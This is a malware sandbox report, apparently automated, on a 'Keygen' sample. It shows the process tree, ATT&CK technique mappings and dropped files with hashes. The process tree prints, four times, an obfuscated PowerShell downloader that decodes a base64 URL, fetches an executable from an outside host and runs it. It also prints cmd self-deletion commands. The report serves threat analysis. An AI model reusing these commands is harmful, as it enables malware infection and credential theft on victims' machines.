                        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\DB7.tmp\b.hta"
                        3⤵
                        • Modifies Internet Explorer settings
                        • Suspicious use of WriteProcessMemory
                        PID:1344
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                          4⤵
                          • Blocklisted process makes network request
                          • Loads dropped DLL
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1060
                          • C:\Users\Public\uyi.exe
                            "C:\Users\Public\uyi.exe"
                            5⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2604
                            • C:\Windows\SysWOW64\WScript.exe
                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
                              6⤵
                              • Loads dropped DLL
                              PID:1824
                              • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                                "C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
                                7⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious use of SetThreadContext
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2720
                                • C:\Windows\SysWOW64\WScript.exe
                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs"
                                  8⤵
                                  • Loads dropped DLL
                                  PID:1656
                                  • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                                    "C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
                                    9⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Suspicious use of SetThreadContext
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2896
                                    • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                                      "C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
                                      10⤵
                                      • Executes dropped EXE
                                      PID:1524
                                    • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                                      "C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
                                      10⤵
                                      • Executes dropped EXE
                                      PID:1028
                                • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                                  "C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
                                  8⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Checks processor information in registry
                                  PID:2928
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c taskkill /pid 2928 & erase C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe & RD /S /Q C:\\ProgramData\\863445307820649\\* & exit
                                    9⤵
                                      PID:1048
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /pid 2928
                                        10⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2404
                              • C:\Users\Public\uyi.exe
                                "C:\Users\Public\uyi.exe"
                                6⤵
                                • Executes dropped EXE
                                PID:548
                              • C:\Users\Public\uyi.exe
                                "C:\Users\Public\uyi.exe"
                                6⤵
                                • Executes dropped EXE
                                PID:1316
                        • C:\Windows\SysWOW64\mshta.exe
                          "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\DB7.tmp\b1.hta"
                          3⤵
                          • Modifies Internet Explorer settings
                          • Suspicious use of WriteProcessMemory
                          PID:576
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1180
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout 2
                          3⤵
                          • Delays execution with timeout.exe
                          PID:1780
                        • C:\Windows\SysWOW64\mshta.exe
                          "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\DB7.tmp\ba.hta"
                          3⤵
                          • Modifies Internet Explorer settings
                          • Suspicious use of WriteProcessMemory
                          PID:1248
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                            4⤵
                            • Blocklisted process makes network request
                            • Loads dropped DLL
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1668
                            • C:\Users\Public\rkp.exe
                              "C:\Users\Public\rkp.exe"
                              5⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Suspicious use of SetThreadContext
                              • Suspicious behavior: MapViewOfSection
                              • Suspicious use of SetWindowsHookEx
                              PID:2616
                              • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                                "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
                                6⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious use of SetThreadContext
                                • Suspicious behavior: MapViewOfSection
                                • Suspicious use of SetWindowsHookEx
                                PID:2896
                                • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                                  "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Checks processor information in registry
                                  PID:3036
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c taskkill /pid 3036 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\756136254258290\\* & exit
                                    8⤵
                                      PID:2944
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /pid 3036
                                        9⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:524
                                • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                                  "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of SetThreadContext
                                  • Suspicious behavior: MapViewOfSection
                                  • Suspicious use of SetWindowsHookEx
                                  PID:2928
                                  • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                                    "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                                    7⤵
                                    • Executes dropped EXE
                                    PID:3024
                                • C:\Users\Public\rkp.exe
                                  "C:\Users\Public\rkp.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  PID:2996
                          • C:\Windows\SysWOW64\mshta.exe
                            "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\DB7.tmp\ba1.hta"
                            3⤵
                            • Modifies Internet Explorer settings
                            • Suspicious use of WriteProcessMemory
                            PID:952
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1012

                      Network

                      MITRE ATT&CK Matrix ATT&CK v6

                      Persistence

                      Modify Existing Service

                      1
                      T1031

                      Registry Run Keys / Startup Folder

                      1
                      T1060

                      Defense Evasion

                      Modify Registry

                      6
                      T1112

                      Disabling Security Tools

                      2
                      T1089

                      Install Root Certificate

                      1
                      T1130

                      Credential Access

                      Credentials in Files

                      3
                      T1081

                      Discovery

                      Query Registry

                      2
                      T1012

                      System Information Discovery

                      2
                      T1082

                      Collection

                      Data from Local System

                      3
                      T1005

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\ProgramData\MSVCP140.dll
                      • C:\ProgramData\VCRUNTIME140.dll
                      • C:\ProgramData\freebl3.dll
                      • C:\ProgramData\freebl3.dll
                      • C:\ProgramData\mozglue.dll
                      • C:\ProgramData\mozglue.dll
                      • C:\ProgramData\msvcp140.dll
                      • C:\ProgramData\nss3.dll
                        MD5

                        bfac4e3c5908856ba17d41edcd455a51

                        SHA1

                        8eec7e888767aa9e4cca8ff246eb2aacb9170428

                        SHA256

                        e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                        SHA512

                        2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                      • C:\ProgramData\nss3.dll
                        MD5

                        bfac4e3c5908856ba17d41edcd455a51

                        SHA1

                        8eec7e888767aa9e4cca8ff246eb2aacb9170428

                        SHA256

                        e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                        SHA512

                        2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                      • C:\ProgramData\softokn3.dll
                      • C:\ProgramData\softokn3.dll
                      • C:\ProgramData\sqlite3.dll
                      • C:\ProgramData\sqlite3.dll
                      • C:\ProgramData\vcruntime140.dll
                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1a1733a9-c78a-41f9-ba49-7e78bc3e775b
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2fdf95d1-ccab-4956-96fa-8eb0609a000d
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_478c05f3-b801-4912-91bd-47646e127596
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4fd4a7fe-82f5-41e4-888c-1b7eac83ece7
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_85851261-8d0e-475b-a23b-13553f27a151
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9a544160-3f21-4cc4-9fe1-a0f903e88599
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2ebb337-3027-47ef-8098-8d2e9f7615cf
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b39be098-cf3c-4574-8d97-ecbc56133f6f
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ca37ad88-4ce8-48e7-a2ed-ec10658dba29
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e10aa6dc-f3ff-45e4-9eec-4fef42847693
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e1dd9aab-0fd1-4532-ba7f-00569c2741ef
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                      • C:\Users\Admin\AppData\Local\Temp\9zNnaH8qbc.exe
                      • C:\Users\Admin\AppData\Local\Temp\9zNnaH8qbc.exe
                      • C:\Users\Admin\AppData\Local\Temp\BNXdjkylfc.exe
                        MD5

                        013db621a3351e3fb049efd2ccad79ff

                        SHA1

                        a23394ea54dbc5342a77938a2c285ee616185560

                        SHA256

                        df1bda6183201e4dc1bc6f6425361a565413e71f09da0648b0c82b39786af27a

                        SHA512

                        1bf6d076677b234c9da7cbc720fc64632b587b4223b5370a7ca3d53c4d59fa59ef117957b1646c92ba80dac332f6c1c313060d35de7236b2585e5bed00d79229

                      • C:\Users\Admin\AppData\Local\Temp\BNXdjkylfc.exe
                        MD5

                        013db621a3351e3fb049efd2ccad79ff

                        SHA1

                        a23394ea54dbc5342a77938a2c285ee616185560

                        SHA256

                        df1bda6183201e4dc1bc6f6425361a565413e71f09da0648b0c82b39786af27a

                        SHA512

                        1bf6d076677b234c9da7cbc720fc64632b587b4223b5370a7ca3d53c4d59fa59ef117957b1646c92ba80dac332f6c1c313060d35de7236b2585e5bed00d79229

                      • C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs
                      • C:\Users\Admin\AppData\Local\Temp\DB7.tmp\Keygen.exe
                      • C:\Users\Admin\AppData\Local\Temp\DB7.tmp\Keygen.exe
                      • C:\Users\Admin\AppData\Local\Temp\DB7.tmp\b.hta
                      • C:\Users\Admin\AppData\Local\Temp\DB7.tmp\b1.hta
                      • C:\Users\Admin\AppData\Local\Temp\DB7.tmp\ba.hta
                      • C:\Users\Admin\AppData\Local\Temp\DB7.tmp\ba1.hta
                      • C:\Users\Admin\AppData\Local\Temp\DB7.tmp\m.hta
                      • C:\Users\Admin\AppData\Local\Temp\DB7.tmp\m1.hta
                      • C:\Users\Admin\AppData\Local\Temp\DB7.tmp\start.bat
                      • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      • C:\Users\Admin\AppData\Local\Temp\IvKAuFcE0P.exe
                      • C:\Users\Admin\AppData\Local\Temp\IvKAuFcE0P.exe
                      • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      • C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs
                      • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                      • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                      • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                      • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                      • C:\Users\Admin\AppData\Local\Temp\bb4pztgeIW.exe
                      • C:\Users\Admin\AppData\Local\Temp\bb4pztgeIW.exe
                      • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                      • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                      • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
                      • C:\Users\Public\Natso.bat
                      • C:\Users\Public\rkp.exe
                      • C:\Users\Public\rkp.exe
                      • C:\Users\Public\rkp.exe
                      • C:\Users\Public\ujb.exe
                      • C:\Users\Public\ujb.exe
                      • C:\Users\Public\ujb.exe
                      • C:\Users\Public\uyi.exe
                      • C:\Users\Public\uyi.exe
                      • C:\Users\Public\uyi.exe
                      • C:\Users\Public\uyi.exe
                      • C:\Windows\temp\ehsixfhm.inf
                      • \??\PIPE\lsarpc
                      • \??\PIPE\srvsvc
                      • \??\PIPE\srvsvc
                      • \ProgramData\mozglue.dll
                      • \ProgramData\mozglue.dll
                      • \ProgramData\mozglue.dll
                      • \ProgramData\msvcp140.dll
                      • \ProgramData\msvcp140.dll
                      • \ProgramData\msvcp140.dll
                      • \ProgramData\nss3.dll
                        MD5

                        bfac4e3c5908856ba17d41edcd455a51

                        SHA1

                        8eec7e888767aa9e4cca8ff246eb2aacb9170428

                        SHA256

                        e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                        SHA512

                        2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                      • \ProgramData\nss3.dll
                        MD5

                        bfac4e3c5908856ba17d41edcd455a51

                        SHA1

                        8eec7e888767aa9e4cca8ff246eb2aacb9170428

                        SHA256

                        e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                        SHA512

                        2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                      • \ProgramData\nss3.dll
                        MD5

                        bfac4e3c5908856ba17d41edcd455a51

                        SHA1

                        8eec7e888767aa9e4cca8ff246eb2aacb9170428

                        SHA256

                        e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                        SHA512

                        2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                      • \ProgramData\sqlite3.dll
                      • \ProgramData\sqlite3.dll
                      • \ProgramData\sqlite3.dll
                      • \ProgramData\vcruntime140.dll
                      • \ProgramData\vcruntime140.dll
                      • \ProgramData\vcruntime140.dll
                      • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll
                      • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll
                      • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\mozglue.dll
                      • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\msvcp140.dll
                      • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll
                        MD5

                        02cc7b8ee30056d5912de54f1bdfc219

                        SHA1

                        a6923da95705fb81e368ae48f93d28522ef552fb

                        SHA256

                        1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

                        SHA512

                        0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

                      • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll
                      • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\vcruntime140.dll
                      • \Users\Admin\AppData\LocalLow\sqlite3.dll
                      • \Users\Admin\AppData\Local\Temp\9zNnaH8qbc.exe
                      • \Users\Admin\AppData\Local\Temp\BNXdjkylfc.exe
                        MD5

                        013db621a3351e3fb049efd2ccad79ff

                        SHA1

                        a23394ea54dbc5342a77938a2c285ee616185560

                        SHA256

                        df1bda6183201e4dc1bc6f6425361a565413e71f09da0648b0c82b39786af27a

                        SHA512

                        1bf6d076677b234c9da7cbc720fc64632b587b4223b5370a7ca3d53c4d59fa59ef117957b1646c92ba80dac332f6c1c313060d35de7236b2585e5bed00d79229

                      • \Users\Admin\AppData\Local\Temp\DB7.tmp\Keygen.exe
                      • \Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      • \Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      • \Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      • \Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      • \Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      • \Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      • \Users\Admin\AppData\Local\Temp\IvKAuFcE0P.exe
                      • \Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      • \Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      • \Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      • \Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      • \Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      • \Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      • \Users\Admin\AppData\Local\Temp\axcsdfa.exe
                      • \Users\Admin\AppData\Local\Temp\axcsdfa.exe
